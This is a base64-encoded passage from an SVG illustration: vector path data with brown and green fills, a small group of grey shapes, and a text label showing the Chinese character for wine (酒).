LTAuNDM4ODYgMC40NjA0LTAuNzcwNyAwLjc5NjUgMC4yNjk2MSAwLjIzMjIxLTAuMzYyNzQgMC41NzkyNS0wLjA1MzEtMC4wODEzLTAuMzE2NzIgMC40MDYyOSAxLjYzOTUtMC4wMzg0LTAuODg3NzkgMC40ODk2LTEuMjUxMSAwLjkxNjEyLTEuMzE3NiAwLjcwMzE4LTIuNjQ1NiAxLjM4NjctMy45NjU3IDIuMDg1Mi0wLjYyOTI3LTAuMzk4MzYtMi4wMTgxLTEuNjAzMy0yLjE1NTUtMS40NzkzIDAuOTM0MzggMC42ODU3MiAzLjMzNTggMC45NzA0OCAyLjgxOCAyLjEyNTMgMC44NTY3Mi0wLjYxMTYgMS45OTcxLTIuOTc1IDIuOTg5Mi0xLjMzNzggMC43MjU5NiAxLjUzMzMgMS4xMjA3IDMuMjY1IDIuMDc1MSA0LjY2NiAwLjc0NjQyIDAuMjk5NzkgMS45MDQ1IDIuNDAwOCAwLjM1MzM1IDEuNjEwMi0xLjAzMjUtMC44ODA5OS0yLjc2ODUtMC45MTgzNS0yLjU3OS0yLjY4NDUtMC43NzgzMi0wLjEyNjA3LTAuNTU2MTMtMi4wMjU5LTAuODQ2MDMtMS44NDQ3IDAuMjI2MzkgMS4yNjQ0LTAuOTMyNDIgMi4xODk1LTEuNzg4MSAyLjg4MjQtMS4xMzE1IDAuMzg0OC0yLjQ3OTQgMC44MTc3Ny0zLjYzMzggMC4zMzQ0OS0wLjk3OTM0LTAuNjUyOTgtMS4zMzc5LTEuODgyNC0yLjI3OS0yLjU5MjMtMC45MzQ5OS0wLjg0OTIyLTEuMDA1MS0yLjE4NzItMS40NTE1LTMuMjk4MXoiIGZpbGw9IiMzZDI2MGIiLz4KCQk8L2c+CgkJPHBhdGggZD0ibTAuMjYyMDcgMTE5Ljk0YzEuNDc0My0xLjc0OCAxMS43NTggMS43ODU0IDE1Ljk4NSAwLjE4MDMgMC41NDUzNy0yLjE5NTkgMi40MDYyLTQuMzk2MSAwLjg3OTgtNi42MDQ3LTEuMTExNS01LjgzMDgtNy4yMDA3LTUuMTkzOS0xMS4xMjgtMy45NzI1IDEuODAzMS0yLjYxNzYgMTAuMzk0LTMuMDUzNSA1LjM4MjUtNy4xODU4LTAuNTk2NzEtMi4yOTU4LTEuNDQyNi01LjI2OTItMy44NDM0LTIuMzcwOS01LjIzNTYgMS4xMzggMy4wOTM1LTIuODA2IDIuMjA5NC01LjA0NjctMS4wNzcxLTQuMzM5NyA0LjI2MjctOC42NzMxLTAuNzU2NDktMTEuNDc5LTMuMTk1LTIuODE3MyAwLjI2NjU2LTAuNjY2NjYgMS45NDMzIDAuMTUxOTQgMi42NzIxIDIuNzU3OCA0Ljg2NTUtMS45MDMgNS4yODQtNC4xMzUgMC42NjAyNy0yLjAxMzYtMS44NTk4LTcuMjMxOC0xLjY0NTctNi42NDgzIDQuMDc5NyAyLjg2OTUgMi45ODkzIDkuMDY2OSAxLjYyNSAxMy4wMzItMS42MDA0IDIuMjAwMy0xLjMxMTUgNi4yOTM1IDEuNzgwNiAzLjEwNTQgMS45OTIxLTEuNjgxIDExLjIyNS0yLjE4MDEgNS4wMzY4LTAuMzU1NDMtMC4yOTM0MiAwLjEwMTg0LTMuNTE5IDEuMDM5LTMuNTUyOCAxLjg1OTgtMC4wNDA2IDAuOTg3MTQgMy4xMTU4IDEuODg5NCAyLjY5NTkgMi4wNzU5LTEuMzg4OCAwLjYxNjk3LTIuNjQ4OC0yLjEyODctNS4xMzg2LTAuNjU3MDItMS41MzUyIDAuOTA3MzgtMS43ODQ0IDIuODQ2NC0wLjU1OTUxIDQuNzQxNiAxLjA4OCA1LjEwNDkgNi4yNDE4LTEuNzI4MiA5Ljk2MjIgMC44MTM1NyAyLjMwNDggMC43MDgyNiA4LjY3NzUgMy4yOTc0IDIuODcyMiAxLjg3OTgtMy40NDMyLTAuODM2NzQtMTAuMzcyIDEuMTM1Ny04LjQ0NjYgNS42NzA0IDQuMjU5NCAzLjU4NTMgNi43MzY5IDguODE2MiA3LjYzODMgMTQuMjQ2IDEuMDM5MyA0LjkwNTYgNy4xMzk4IDEuNzg5NiAxMC44MzIgMy40NDI0IDEuMDcyMSAxLjU3MzkgMTAuNzU4IDIuNDg5MiA1LjUyMzMgMi43NzU2bC0xOC4zODcgMC4wOTM1aC02LjgyODdsLTQ2LjI0MyAwLjEzMjI5Yy0wLjA0NzMtMC43MDk4NSA3LjQxNDktMi40OTcxIDExLjI2OC0zLjIzMDYgMi40OTgxLTAuNDc1NTcgNS40ODEtMC43ODY3NyA4LjE2Ny0xLjA2MTUgMi40MjItMC4yNDc3MiAyLjc1MDQgMC40NjAyNSA0LjExNjUgMC4xNzgwNSAwLjk0MDc2LTAuMTk0MzUgMS45NDQxLTEuNDM4NyAzLjMyODItMS42MzA5eiIgZmlsbD0iIzI4MTcwYiIvPgoJCTxwYXRoIGQ9Im0xNC40OTUgNzEuNjUxYy0wLjkxOTA4LTEuMTMwOC0xLjAwNzEtMi45NjM4IDAuMDk5OC00LjAwNTMgMC4zNDE2Ny0wLjcxMTQ5IDEuODc2NS0xLjY2NzEgMS43NTY3LTAuMjIxNTctMC4wMTI4OCAxLjYzMS0xLjMzOTggMi43NzktMS44NTY1IDQuMjI2OXoiIGZpbGw9IiMyMTc4MjEiLz4KCQk8cGF0aCBkPSJtMjUuNDI5IDg3LjEwNGMtMC45MTkwOC0xLjEzMDgtMS4wMDcxLTIuOTYzOCAwLjA5OTgtNC4wMDUzIDAuMzQxNjctMC43MTE0OSAxLjg3NjUtMS42NjcxIDEuNzU2Ny0wLjIyMTU4LTAuMDEyOTEgMS42MzEtMS4zMzk4IDIuNzc5LTEuODU2NSA0LjIyNjl6IiBmaWxsPSIjMjE3ODIxIi8+CgkJPHBhdGggZD0ibTYuNjgyMiA4Mi41MzFjMC40ODM4NCAxLjM3NDUtMC4wNTE1IDMuMTI5OC0xLjQ0NDggMy43MzY5LTAuNTYxNjIgMC41NTQ1Ny0yLjMyODggMC45MzY1Mi0xLjcyODYtMC4zODM5MiAwLjU2MjI1LTEuNTMxMSAyLjE5ODYtMi4xNjQzIDMuMTczNC0zLjM1M3oiIGZpbGw9IiMxNzI4MGIiLz4KCQk8cGF0aCBkPSJtMzEuNzMyIDEwMC40OWMwLjQ4Mzg0IDEuMzc0NS0wLjA1MTUgMy4xMjk4LTEuNDQ0OCAzLjczNy0wLjU2MTYyIDAuNTU0NTctMi4zMjg4IDAuOTM2NTItMS43Mjg2LTAuMzgzOTIgMC41NjIyNS0xLjUzMTEgMi4xOTg2LTIuMTY0MyAzLjE3MzQtMy4zNTN6IiBmaWxsPSIjMDUwIi8+CgkJPHBhdGggZD0ibTUuNzM2NSAxMTAuNDhjMC40ODM4NCAxLjM3NDUtMC4wNTE1IDMuMTI5OC0xLjQ0NDggMy43MzctMC41NjE2MiAwLjU1NDU3LTIuMzI4OCAwLjkzNjUyLTEuNzI4NS0wLjM4MzkyIDAuNTYyMjUtMS41MzExIDIuMTk4Ni0yLjE2NDMgMy4xNzM0LTMuMzUzeiIgZmlsbD0iIzIxNzgyMSIvPgoJCTxwYXRoIGQ9Im01LjIwMjUgMTAwLjFjLTAuOTM3NDUgMS4xMTU2LTIuNzIxMSAxLjU0NzQtMy45NTI0IDAuNjU2NDMtMC43NjMxMi0wLjIwMTUzLTEuOTkwNy0xLjUyODgtMC41NDg1Mi0xLjY4MzYgMS42MDQzLTAuMjk0NTUgMi45ODE3IDAuNzkyNDEgNC41MDA5IDEuMDI3MXoiIGZpbGw9IiMwMDgwMDAiLz4KCQk8cGF0aCBkPSJtMzIuODYzIDk5LjMzYzEuMjQ3NCAwLjc1MzM4IDMuMDc0OSAwLjU4NjM3IDMuOTUyNy0wLjY1NDMxIDAuNjU3MjQtMC40MzcwNCAxLjM5MDctMi4wODk1LTAuMDI0MjEtMS43NzA1LTEuNjEzNSAwLjIzODk3LTIuNTY2NCAxLjcxMjMtMy45Mjg1IDIuNDI0OHoiIGZpbGw9IiMxNjUwMTYiLz4KCQk8cGF0aCBkPSJtNS4xMDcyIDEwOS4yNmMtMC45Mzc0NSAxLjExNTYtMi43MjExIDEuNTQ3NC0zLjk1MjQgMC42NTY0My0wLjc2MzEyLTAuMjAxNTMtMS45OTA3LTEuNTI4OC0wLjU0ODUyLTEuNjgzNiAxLjYwNDMtMC4yOTQ1NSAyLjk4MTcgMC43OTI0MSA0LjUwMDkgMS4wMjcxeiIgZmlsbD0iIzJjYTAyYyIvPgoJCTxwYXRoIGQ9Im0xMy42NCA3Mi4zNDljLTAuOTM3NDUgMS4xMTU2LTIuNzIxMSAxLjU0NzQtMy45NTI0IDAuNjU2NDQtMC43NjMxMi0wLjIwMTU0LTEuOTkwNy0xLjUyODktMC41NDg1Mi0xLjY4MzYgMS42MDQzLTAuMjk0NTUgMi45ODE3IDAuNzkyNDEgNC41MDA5IDEuMDI3MXoiIGZpbGw9IiMwMDJiMDAiLz4KCQk8cGF0aCBkPSJtNi4wOTk0IDgxLjM0NGMtMC45Mzc0NSAxLjExNTYtMi43MjExIDEuNTQ3NC0zLjk1MjQgMC42NTY0My0wLjc2MzEyLTAuMjAxNTMtMS45OTA3LTEuNTI4OC0wLjU0ODUyLTEuNjgzNiAxLjYwNDMtMC4yOTQ1NSAyLjk4MTcgMC43OTI0MSA0LjUwMDkgMS4wMjcxeiIgZmlsbD0iIzBiMjgwYiIvPgoJCTxwYXRoIGQ9Im0xMy4yOTUgNzEuNTYyYy0xLjQzNDQtMC4yNTcwMi0yLjY5NzMtMS41ODg0LTIuNTM4Mi0zLjA5OTktMC4yMDU0NC0wLjc2MjA4IDAuMzMzODYtMi40ODc3IDEuMTg2NS0xLjMxNDQgMS4wNTQ2IDEuMjQ0MiAwLjc5ODM3IDIuOTgwMSAxLjM1MTcgNC40MTQzeiIgZmlsbD0iIzA1MiIvPgoJCTxwYXRoIGQ9Im01LjEyMDYgOTkuMjU1Yy0xLjQzNDQtMC4yNTcwMy0yLjY5NzMtMS41ODg0LTIuNTM4Mi0zLjA5OTktMC4yMDU0NC0wLjc2MjA4IDAuMzMzODYtMi40ODc3IDEuMTg2NS0xLjMxNDMgMS4wNTQ2IDEuMjQ0MyAwLjc5ODM3IDIuOTgwMSAxLjM1MTcgNC40MTQzeiIgZmlsbD0iIzA1MCIvPgoJCTxwYXRoIGQ9Im0zMS43NzcgOTguNjZjLTEuNDM0NC0wLjI1NzAyLTIuNjk3My0xLjU4ODQtMi41MzgyLTMuMDk5OS0wLjIwNTQ0LTAuNzYyMDggMC4zMzM4Ni0yLjQ4NzcgMS4xODY1LTEuMzE0MyAxLjA1NDYgMS4yNDQyIDAuNzk4MzcgMi45ODAxIDEuMzUxNyA0LjQxNDN6IiBmaWxsPSIjMjE3ODIxIi8+CgkJPHBhdGggZD0ibTUuNTE3NSAxMDguNDVjLTEuNDM0NC0wLjI1NzAzLTIuNjk3My0xLjU4ODQtMi41MzgyLTMuMS0wLjIwNTQ0LTAuNzYyMDggMC4zMzM4Ni0yLjQ4NzcgMS4xODY1LTEuMzE0NCAxLjA1NDYgMS4yNDQzIDAuNzk4MzcgMi45ODAxIDEuMzUxNyA0LjQxNDN6IiBmaWxsPSIjMTY1MDE2Ii8+CgkJPHBhdGggZD0ibTI1LjkwNiA4OC4xMjNjMS4zNjI4LTAuNTE1ODYgMy4xMzAyLTAuMDIxNyAzLjc2OTcgMS4zNTcgMC41Njc1NiAwLjU0ODQ5IDAuOTkwNzQgMi4zMDYyLTAuMzQzMzggMS43MzcxLTEuNTQzOC0wLjUyNjI4LTIuMjE1MS0yLjE0NzQtMy40MjYzLTMuMDk0MXoiLz4KCQk8cGF0aCBkPSJtMTUuNDE4IDcyYzEuMzYyOC0wLjUxNTg2IDMuMTMwMi0wLjAyMTcgMy43Njk3IDEuMzU3IDAuNTY3NTYgMC41NDg0OSAwLjk5MDc0IDIuMzA2Mi0wLjM0MzM4IDEuNzM3MS0xLjU0MzgtMC41MjYyOS0yLjIxNTEtMi4xNDc0LTMuNDI2My0zLjA5NDF6IiBmaWxsPSIjMDA4MDAwIi8+CgkJPHBhdGggZD0ibTcuMTE5MSA4MS4wMjljMC4yMTg1LTEuNDQwNyAxLjUxNTYtMi43Mzg5IDMuMDMwOC0yLjYyMDQgMC43NTYzLTAuMjI1NzkgMi40OTU4IDAuMjY3MDggMS4zNDU3IDEuMTUwOS0xLjIxNTUgMS4wODc2LTIuOTU3NiAwLjg3NzkzLTQuMzc2NSAxLjQ2OTV6IiBmaWxsPSIjMTY1MDE2Ii8+CgkJPHBhdGggZD0ibTguNTI2NSAxMDkuNzNjMS4zNjI4LTAuNTE1ODUgMy4xMzAyLTAuMDIxNyAzLjc2OTcgMS4zNTcgMC41Njc1NiAwLjU0ODUgMC45OTA3NCAyLjMwNjItMC4zNDMzOCAxLjczNzEtMS41NDM4LTAuNTI2MjgtMi4yMTUxLTIuMTQ3NC0zLjQyNjMtMy4wOTQxeiIgZmlsbD0iIzNlNDgzNyIvPgoJCTxwYXRoIGQ9Im0xOC4yNTUgNzguMDIyYzEuMzYyOC0wLjUxNTg1IDMuMTMwMi0wLjAyMTcgMy43Njk3IDEuMzU3IDAuNTY3NTYgMC41NDg1IDAuOTkwNzQgMi4zMDYyLTAuMzQzMzggMS43MzcxLTEuNTQzOC0wLjUyNjI4LTIuMjE1MS0yLjE0NzQtMy40MjYzLTMuMDk0MXoiIGZpbGw9IiMxNjUwMTYiLz4KCQk8cGF0aCBkPSJtMzIuNDc0IDEwMC41N2MxLjM2MjgtMC41MTU4NiAzLjEzMDItMC4wMjE3IDMuNzY5NyAxLjM1NyAwLjU2NzU2IDAuNTQ4NDkgMC45OTA3NCAyLjMwNjItMC4zNDMzOCAxLjczNzEtMS41NDM4LTAuNTI2MjktMi4yMTUxLTIuMTQ3NC0zLjQyNjMtMy4wOTQxeiIgZmlsbD0iIzBiMjgwYiIvPgoJCTxwYXRoIGQ9Im0yMS42ODQgOTMuMTAxYy0wLjQxODkyLTAuMTcwNi0wLjk4NTg5LTAuNDM3MjMtMS4zNTE3LTAuMDE3ODEtMC42MzgwMSAwLjY2Njk5IDAuMzQ2NzIgMi42NzE3IDEuMTIxIDMuMDQ5OSAwLjQ2NDU3IDAuMjAxNTQgMC42MzE2OSAwLjE2NjM0IDEuMDkzNyAwLjAyNTkgMC41NjMxMyAwLjAyMDExIDAuODIzODMgMC4xNzQ3OCAxLjM0MzItMC4yNDE4NCAwLjQ1NjgtMC4zMzE0OCAwLjUzNDMtMS41Njk2IDAuMzc1ODQtMi4wNDEzLTAuMTczODgtMC41MDEyMy0wLjU0ODI5LTAuOTkwMzQtMS4xMTM5LTEuMDQ2NC0wLjM4ODY3LTAuMTU0OTEtMC43MTU0IDAuMDg2Mi0wLjk5NDg4IDAuMjU0ODUgMC4wNjkyLTAuNTgwMzItMC40NjEyOSAwLjAzODEtMC40MTIyNyAwLjIzOTM1LTAuMDQzOS0wLjA2Ni0wLjA1NzktMC4xNDUzNS0wLjA2MS0wLjIyMjY3eiIgZmlsbD0iIzgwMDAwMCIvPgoJCTxwYXRoIGQ9Im02LjkwMzcgMTIyLjkzIDExLjMxOS0wLjg0MTkgMS42ODM4LTMuNjQ4Mi0wLjA5MzUtNS4wNTE0LTMuMzY3Ni00LjM5NjYgNC41ODM3IDMuNzQxOCAwLjY1NDgyIDMuNjQ4MiAwLjY1NDgxIDIuODA2MyAxLjEyMjUtNS44OTMzLTYuNTQ4MS0xMS4yMjUtMS41OTAyLTUuMTQ0OSAzLjc0MTggNi42NDE2IDUuODkzMyA5LjYzNTEgMS40OTY3IDcuNDgzNiAzLjkyODkgMy4zNjc2IDcuMjAyOSAwLjM3NDE3LTAuMDkzNSAxLjAyOS0xMS45NzQtMC45MzU0NC00LjQ5MDEtNC4yMDk1LTIuODk5OSAzLjM2NzZ6IiBmaWxsPSIjNDgzNzM3IiBmaWxsLW9wYWNpdHk9Ii45MDkwOSIgZmlsdGVyPSJ1cmwoI2EpIi8+CgkJPHBhdGggZD0ibTIwLjk3NyA5My4wNDgtMC40Nzk0MiAwLjAyMzQtMC4xNjM3IDAuMzc0MTctMC4wODE5IDAuNDA5MjYgMC4wNTg1IDAuMzk3NTYgMC4yMjIxNyAwLjM2MjQ5IDAuMTI4NjMgMC4xMTY5My0wLjE2MzcxLTAuNDc5NDIgMC4wOTM2LTAuNDc5NDFzMC4xMjg2Mi0wLjMxNTcyIDAuMTUyMDEtMC4zNjI0OWMwLjAyMzQtMC4wNDY4IDAuNTYxMjYtMC4yNTcyNSAwLjU2MTI2LTAuMjU3MjV6IiBmaWxsPSIjNzFjODM3IiBmaWx0ZXI9InVybCgjZikiLz4KCQk8cGF0aCBkPSJtMjIuMDggOTUuNDEzLTAuMjMzODYtMC41Mzc4OCAwLjE0MDMyLTAuNTg0NjUgMC40NTYwMy0wLjM1MDc5IDAuMDIzNCAwLjU4NDY1IDAuMTc1MzkgMC41NjEyNyAwLjQ0NDM0IDAuMzYyNDggMC40MDkyNiAwLjEyODYyLTAuMTk4NzkgMC4wODE4LTAuNjg5ODktMC4wOTM1eiIgZmlsbD0iI2FjY2E0YSIgZmlsbC1vcGFjaXR5PSIuMzgwMTciIGZpbHRlcj0idXJsKCNlKSIvPgoJCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0yMjIuMzcgMTkuMTkyKSI+CgkJCTxwYXRoIGQ9Im0yNTguOTIgMTAzYy0yLjM4NDctMi44MjcyLTQuNzY5NC01LjY1NDQtNy4xNTQxLTguNDgxNi0wLjcwOTYyLTAuNjcyOTgtMS4zNjg1LTAuMzg0NzYtMi4wNDMtMC41ODA3Mi0wLjgwMTQ3LTAuMDU3MzEtMS4wNjUyLTAuNTcwNTYtMS41ODM1LTEuMTIwNC0wLjY0NDAxLTAuNTQ0ODYtMC4xMjYzLTEuMTAzMSAwLjEwNTUtMS41OTU4LTEuMDE1MSAwLjExMTkyLTIuMDI4NSAwLjI4NTA4LTMuMDQzIDAuNDIwNTQtMC4xNzYyLTAuMjQ1MzktMC40MzU2My0wLjQ4NjQxLTAuMzAwMTgtMC41ODczNyAyLjI0MjItMC4yNzgxMyA0LjcyNDEtMC41OTAzIDYuNjk2Ny0wLjgyNTgzbDAuNjgzODQgMC40NTQ0MS0zLjMxODkgMC40NDI1MmMtMC4xMTE1NiAwLjQ0Nzk1LTAuODIzMTUgMC45NjIxMS0wLjM4MjA0IDEuMzQ5NyAwLjQ1NTczIDAuNDk2ODUgMC45MTM0NCAxLjAzMTYgMS42NTUzIDEuMDA0NyAwLjgwNjk2IDAuMDM0NzEgMS41ODY3IDAuMTQ4NTQgMi4xMTM1IDAuODg5NjIgMi4zODY2IDIuNzYxIDQuNzczMyA1LjU3NDIgNy4xNiA4LjMzNTItMC4xOTY2NyAwLjA5ODMtMC4zOTMzNSAwLjE5NjY3LTAuNTkwMDMgMC4yOTUwMXoiIGZpbGw9IiM0ZDRkNGQiLz4KCQkJPHBhdGggZD0ibTI1MS43MSA5MC41NjEgMC44MTQ4Ny0xLjMwMzgtMC4zNjUwNiAwLjAyNjA4LTAuNzgyMjcgMS4zMjk5eiIgZmlsbD0iIzY2NiIvPgoJCQk8cGF0aCBkPSJtMjUyLjU0IDg5LjI3My0wLjAzOTEtMC4yNjA3NmgtMC4zNjUwNmwwLjAzMjYgMC4yNzM4YzAuMTU2NjgtMC4wMDU0IDAuMjYwODMtMC4wMTMwNCAwLjM3MTU4LTAuMDEzMDR6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0yNTIuMTQgODkuMDEtMC44ODAwNSAxLjQ2MDIgMC4xMjM4NiAwLjE0MzQyIDAuNzg4NzktMS4zMzY0eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtMjUwLjU4IDkwLjcwNyAwLjgxNDg2LTEuMzAzOC0wLjM2NTA2IDAuMDI2MDgtMC43ODIyNyAxLjMyOTl6IiBmaWxsPSIjNjY2Ii8+CgkJCTxwYXRoIGQ9Im0yNTEuNCA4OS40MjEtMC4wMzkxLTAuMjYwNzZoLTAuMzY1MDZsMC4wMzI2IDAuMjczOGMwLjE1NjY5LTAuMDA1NCAwLjI2MDg0LTAuMDEzMDQgMC4zNzE1OS0wLjAxMzA0eiIgZmlsbD0iIzgwODA4MCIvPgoJCQk8cGF0aCBkPSJtMjUxIDg5LjE1NC0wLjg4MDA1IDEuNDYwMiAwLjEyMzg1IDAuMTQzNDIgMC43ODg3OS0xLjMzNjR6IiBmaWxsPSIjYjNiM2IzIi8+CgkJCTxwYXRoIGQ9Im0yNDkuNDUgOTAuODY5IDAuODE0ODctMS4zMDM4LTAuMzY1MDYgMC4wMjYwOC0wLjc4MjI3IDEuMzI5OXoiIGZpbGw9IiM2NjYiLz4KCQkJPHBhdGggZD0ibTI1MC4yNyA4OS41OS0wLjAzOTEtMC4yNjA3NmgtMC4zNjUwNmwwLjAzMjYgMC4yNzM4YzAuMTU2NjgtMC4wMDU0IDAuMjYwODQtMC4wMTMwNCAwLjM3MTU4LTAuMDEzMDR6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0yNDkuODcgODkuMzE2LTAuODgwMDYgMS40NjAyIDAuMTIzODYgMC4xNDM0MiAwLjc4ODc5LTEuMzM2NHoiIGZpbGw9IiNiM2IzYjMiLz4KCQkJPHBhdGggZD0ibTI0OC4xNyA5MS4wOCAwLjgxNDg3LTEuMzAzOC0wLjM2NTA2IDAuMDI2MDgtMC43ODIyNyAxLjMyOTl6IiBmaWxsPSIjNjY2Ii8+CgkJCTxwYXRoIGQ9Im0yNDguOTkgODkuODAxLTAuMDM5MS0wLjI2MDc2aC0wLjM2NTA2bDAuMDMyNiAwLjI3MzhjMC4xNTY2OC0wLjAwNTQgMC4yNjA4My0wLjAxMzA0IDAuMzcxNTctMC4wMTMwNHoiIGZpbGw9IiM4MDgwODAiLz4KCQkJPHBhdGggZD0ibTI0OC41OSA4OS41MjUtMC44ODAwNSAxLjQ2MDIgMC4xMjM4NSAwLjE0MzQyIDAuNzg4NzktMS4zMzY0eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtMjQ2LjkzIDkxLjIzMiAwLjgxNDg2LTEuMzAzOC0wLjM2NTA2IDAuMDI2MDgtMC43ODIyNyAxLjMyOTl6IiBmaWxsPSIjNjY2Ii8+CgkJCTxwYXRoIGQ9Im0yNDcuNzUgODkuOTQ5LTAuMDM5MS0wLjI2MDc2aC0wLjM2NTA3bDAuMDMyNiAwLjI3MzhjMC4xNTY2OC0wLjAwNTQgMC4yNjA4NC0wLjAxMzA0IDAuMzcxNTgtMC4wMTMwNHoiIGZpbGw9IiM4MDgwODAiLz4KCQkJPHBhdGggZD0ibTI0Ny4zNiA4OS42ODEtMC44ODAwNSAxLjQ2MDIgMC4xMjM4NiAwLjE0MzQyIDAuNzg4NzktMS4zMzY0eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtMjQ1LjczIDkxLjM5MSAwLjgxNDg3LTEuMzAzOC0wLjM2NTA3IDAuMDI2MDgtMC43ODIyNyAxLjMyOTl6IiBmaWxsPSIjNjY2Ii8+CgkJCTxwYXRoIGQ9Im0yNDYuNTUgOTAuMTAxLTAuMDM5MS0wLjI2MDc2aC0wLjM2NTA2bDAuMDMyNiAwLjI3MzhjMC4xNTY2OC0wLjAwNTQgMC4yNjA4NC0wLjAxMzA0IDAuMzcxNTgtMC4wMTMwNHoiIGZpbGw9IiM4MDgwODAiLz4KCQkJPHBhdGggZD0ibTI0Ni4xNiA4OS44MzgtMC44ODAwNiAxLjQ2MDIgMC4xMjM4NiAwLjE0MzQyIDAuNzg4NzktMS4zMzY0eiIgZmlsbD0iI2IzYjNiMyIvPgoJCQk8cGF0aCBkPSJtMjUyLjI1IDkwLjY3NC0wLjEzMDM4IDAuMTY5NDktNi45NjIyIDAuOTM4NzMtMC4zMTI5MS0wLjQ5NTQ0IDAuMDMzNy0wLjIxOTI3czJlLTMgMC4wMjE3OSAwLjMzMTM0IDAuNTU4MjZjMS43MzcxLTAuMjQ1OCA3LjA0MDQtMC45NTE3NiA3LjA0MDQtMC45NTE3NnoiIGZpbGw9IiMzMzMiLz4KCQk8L2c+CgkJPGc+CgkJCTxlbGxpcHNlIGN4PSIzMi4zNzEiIGN5PSIxMTIuMDciIHJ4PSIuMDkwMzYiIHJ5PSIuMTQwNTYiIGZpbGw9IiNmZmYiLz4KCQkJPHBhdGggZD0ibTM3LjkxNCAxMTMuMzJjMC45NDMyNCAwLjY3ODE5IDEuODg2NSAxLjM1NjQgMi44Mjk3IDIuMDM0NiAwLjE1OTM0IDAuMDExIDAuMzM2NDYgMC4wOTc0IDAuNDYzNDgtMC4wNDc5IDAuMjIwOTMtMC4wODUzIDAuNDI0OTcgMC4wOTA4IDAuNjAxMjQgMC4yMDA0NSAwLjIxNzU2IDAuMDQ5IDAuMTMyMzYgMC4yODc3IDAuMDEgMC4zOTg4OC0wLjEyNzY2IDAuMTI0MjYtMC4yOTY1NSAwLjE5MjEtMC40NjA1NyAwLjI1MzkyLTAuMzAwNTktMC4wMTI0LTAuNjYyNDUgMC4wMTIxLTAuODc1MzEtMC4yNDQxLTAuMzUwMzgtMC4yNDI1NC0wLjM1NTY4LTAuNzYzNjktMC43Mzg2OC0wLjk3NTYtMC42ODM2LTAuNDc3NjktMS4zNDIzLTAuOTg5NTUtMi4wMTY3LTEuNDc5OSAwLjA2MjQtMC4wNDY3IDAuMTI0NzMtMC4wOTM1IDAuMTg3MDktMC4xNDAzMnoiIGZpbGw9IiM0ZDRkNGQiLz4KCQkJPHBhdGggZD0ibTI5LjY0MiAxMTEuMjEgMC4xMzIyOS0wLjg1OTkgMC43Mjc2MS0wLjM2MzggMC4yNjQ1OCAwLjEzMjI5IDAuMzk2ODggMC42OTQ1MyAwLjY2MTQ1IDAuNDYzMDMtMC4xMzIyOSAwLjE5ODQzLTAuNjk0NTMgMC40Mjk5NS0wLjc2MDY4IDAuMjY0NTgtMC4yNjQ1OC0wLjQyOTk0eiIgZmlsbD0iIzRhM2YyMyIvPgoJCQk8cGF0aCBkPSJtNDEuNTM5IDExNS4wMiAwLjIxMDQ4LTAuNTYxMjctMC40NDQzNC0wLjM5NzU2LTAuMDcwMi0wLjQ0NDM0IDAuMzc0MTgtMC42NTQ4MSAwLjA3MDItMC41ODQ2NXMtMC4wMjMzOS0wLjM5NzU2LTAuMDQ2OC0wLjQ5MTExYy0wLjAyMzM5LTAuMDkzNS0wLjE2MzcxLTAuNjU0ODEtMC4xNjM3MS0wLjY1NDgxbDAuMTE2OTMtMS4wNzU4IDAuMzc0MTgtMC42MDgwNC0wLjIxMDQ3IDAuNDkxMTEtMC4wNDY4IDAuNDIwOTUgMC4xNDAzMiAwLjYwODA0LTAuMDkzNSAwLjM5NzU2LTAuMDQ2OCAwLjM1MDc5IDAuMDkzNSAwLjc3MTc0LTAuMTE2OTMgMC43MDE1OS0wLjE4NzA5IDAuMzA0MDIgMC4yMTA0NyAwLjY3ODE5IDAuMTYzNzEgMC4yNTcyNXoiIGZpbGw9IiNjY2MiLz4KCQkJPHBhdGggZD0ibTEzLjExNiAxMjAuNDljLTAuODA3MTQgMC4xOTc5OS0xLjYwODIgMC43NDc0MS0yLjQ2MjYgMC40MjU4OS0wLjg5Mzg3LTAuMDc3LTEuNDA3LTAuNzY4OTktMS43NDc4LTEuNTA2OC0wLjI5Mzg1LTAuMzkzMDYtMS41NDk4LTAuODQ0MzgtMC42MjY4MS0xLjI3OSAwLjcwNTUxIDAuMzM1NDUgMS4wNzAzLTAuNTIxOTMgMS42MjcxLTAuNzYzNTQgMS4wNzcxLTAuNTgxMzYgMi40MzUyLTAuMjU5NTkgMy4zNjQ1IDAuNDQzMTMgMC4zNzk4MyAwLjU1NDczLTAuMDIzNiAxLjIxMi0wLjAzMTcgMS44MTItMC4wMzk3IDAuMjg5NTgtMC4wNzkyIDAuNTc5MjYtMC4xMjI2OCAwLjg2ODI1eiIgZmlsbD0iIzU0MCIvPgoJCQk8dGV4dCB0cmFuc2Zvcm09InJvdGF0ZSgtODIuNzI0KSIgeD0iLTExNi42OTk4MyIgeT0iMjYuOTUyNDQiIGZpbGw9IiNmZjk5NTUiIGZvbnQtZmFtaWx5PSInTGliZXJhdGlvbiBTYW5zJyIgZm9udC1zaXplPSIyLjExNjdweCIgbGV0dGVyLXNwYWNpbmc9IjBweCIgc3Ryb2tlLXdpZHRoPSIuMjY0NTgiIHRleHQtYWxpZ249ImNlbnRlciIgdGV4dC1hbmNob3I9Im1pZGRsZSIgd29yZC1zcGFjaW5nPSIwcHgiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9Ii0xMTYuNjk5ODMiIHk9IjI2Ljk1MjQ0IiBmaWxsPSIjZmY5OTU1IiBmb250LWZhbWlseT0iJ1NvdXJjZSBIYW4gU2FucyBUVyciIHN0cm9rZS13aWR0aD0iLjI2NDU4Ij7phZI8L3RzcGFuPjwvdGV4dD4KCQkJPHBhdGggZD0ibTEyLjk5NiAxMTcuNjcgMC4wNTg1IDAuNzQ4MzYtMC4wNTg1IDAuNzM2NjYtMC4xMDUyNCAwLjY3ODItMC4wNTg1IDAuNTI2MTgtM